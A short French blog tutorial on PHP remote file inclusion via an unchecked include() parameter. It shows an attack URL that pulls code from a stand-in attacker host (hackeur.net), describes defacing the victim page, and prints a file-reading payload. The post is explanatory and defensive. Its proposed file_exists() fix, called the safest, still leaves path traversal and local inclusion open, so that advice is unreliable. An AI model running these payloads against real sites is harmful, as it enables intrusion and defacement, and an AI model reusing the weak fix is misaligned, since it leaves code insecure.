Post Populaire


Dans la programmation PHP, include() permet l'insertion de fichiers directement dans une page.

La plupart du temps, le fichier qui sera appellé est défini dans la chaîne de requête qui appellera la page.

- Un exemple concret :
Voici le code qui apparaitra dans le centre de la page index.php :
<?php include($fichier) ?>

Voici maintenant un exemple d'URL exploitant ce code et appelant index.php :
http://www.victime.net/index.php?fichier=accueil.php

A partir de cet URL, la page accueil.php apparaitra donc au centre de la page index.php.

Imaginons maintenant que détourniez ce script :
http://www.victime.net/index.php?fichier=http://www.hackeur.net/tmor.php

La page tmor.php contenant un code ordonnant d'écrire par exemple "Fuck you" en énorme sur la page index.php.
Le pirate a donc réussit à faire exécuter le code contenu dans la page tmor.php de son propre site dans le site www.victime.net.
Ce code ordonnant de réécrire la page index.php du site, affiche ce qu'il veut sur la page index de la victime. Et cela durablement, jusqu'à ce que le webmaster s'en rende compte.
On dit alors qu'il a déffacé la page.

A partir de là, maintes possibilités sont à porté de main, comme par exemple l'affichage de la page php elle-même.
Si tmor.php contenait cela, ce serait possible :
<?php
$inF = fopen($file, "r");
$j="";
while (!feof($inF)) {
$j=$j.fgets($inF, 4096)."<br> ";
}
$j='<font color="#000">'.$j.'</font>';
echo $j;
fclose($inF);
?>


C'est d'ailleurs le seul code que je donnerais ici :).

- Comment sécuriser cette faille ?
Pour cela, il existe maintes solutions mais nous n'en retiendront qu'une, la plus sûre.
PHP propose dans sa bibliothèque une fonction file_exists() qui permet de vérifier l'existence d'un fichier sur le serveur préssent. Il est donc impossible d'appeller une page se trouvant sur un serveur distant : 
<?php
if(!file_exists($fichier . ".php")) {
$fichier = "404";
}
?>


Ce code vérifie l'existence du fichier définit dans la variable $fichier et affiche la page 404.php si elle n'existe pas sur le serveur.

Vous remarquerez que ce code ajoute ".php" à la variable $fichier et dispense la page 404.php de son extension.
En fait, il est également préférable de ne pas faire apparaitre l'extension de la page à inclure dans l'URL :
http://www.victime.net/index.php?fichier=accueil

Du coup, include() se définira comme ceci :
<?php include($fichier . ".php") ?>

Utilisez ces codes et adaptez-les à votre situation.

- sebdelkil 2009-2015 - Aucun droit réservé -